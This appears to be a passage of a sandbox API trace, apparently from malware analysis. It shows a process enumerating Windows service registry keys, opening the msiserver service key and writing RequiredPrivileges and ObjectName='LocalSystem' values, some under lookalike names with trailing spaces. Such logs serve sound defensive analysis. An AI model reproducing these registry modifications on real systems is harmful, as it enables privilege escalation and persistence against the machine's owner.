lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0253.259] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0253.259] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0253.259] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0253.259] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0253.259] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0253.259] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0253.259] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0253.259] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0253.259] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0253.259] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0253.259] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0253.259] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0253.259] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0253.260] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0253.260] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0253.260] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0253.260] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0253.260] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0253.260] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0253.260] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0253.260] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0253.260] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0253.260] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0253.260] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0253.260] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0253.260] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0253.261] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0253.261] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0253.261] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0253.261] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0253.261] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0253.261] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0253.261] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0253.261] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0253.261] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0253.261] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0253.261] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0253.261] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0253.261] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0253.262] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0253.262] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0253.262] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0253.262] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0253.262] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0253.262] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0253.262] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0253.262] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0253.262] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0253.310] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0253.310] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0253.310] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0253.310] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0253.310] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0253.310] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0253.310] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0253.311] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0253.311] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0253.311] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0253.311] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0253.311] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0253.311] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0253.311] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0253.311] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0253.311] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0253.311] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0253.311] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0253.311] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0253.311] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0253.312] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0253.312] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0253.312] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0253.312] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0253.312] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0253.312] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0253.312] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0253.312] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0253.312] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0253.312] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0253.312] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0253.312] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0253.312] RegCloseKey (hKey=0xc4) returned 0x0 [0253.312] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0253.313] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0253.313] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0253.313] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0253.313] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0253.313] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0253.313] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0253.313] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0253.313] RegCloseKey (hKey=0x80000002) returned 0x0 [0253.313] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0253.313] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0253.313] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0253.313] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0253.313] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0253.314] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0253.314] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0253.314] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0253.314] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0253.314] RegOpenKeyExW (in: hKey=0x148, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0253.314] RegCloseKey (hKey=0x148) returned 0x0 [0253.314] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0253.314] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0253.314] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0253.314] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0253.314] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0253.314] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0253.314] RegCloseKey (hKey=0xc4) returned 0x0 [0253.314] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0253.315] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0253.315] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0253.315] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0253.315] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0253.315] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0253.315] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0253.315] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0253.315] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0253.316] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.316] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.316] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.316] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.316] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.316] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.316] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.316] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.316] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.316] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.316] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.316] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.317] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.317] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.317] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.317] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0253.317] RegSetValueExA (in: hKey=0xc4, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0253.317] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0253.317] RegSetValueExA (in: hKey=0xc4, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0253.317] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0253.317] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.317] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.317] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.317] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.318] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.318] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.318] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.318] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.318] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.318] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.318] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.318] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.318] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.318] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.318] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.318] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0253.319] RegSetValueExA (in: hKey=0xc4, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0253.319] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0253.319] RegSetValueExA (in: hKey=0xc4, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0253.319] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0253.319] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.319] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.319] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, 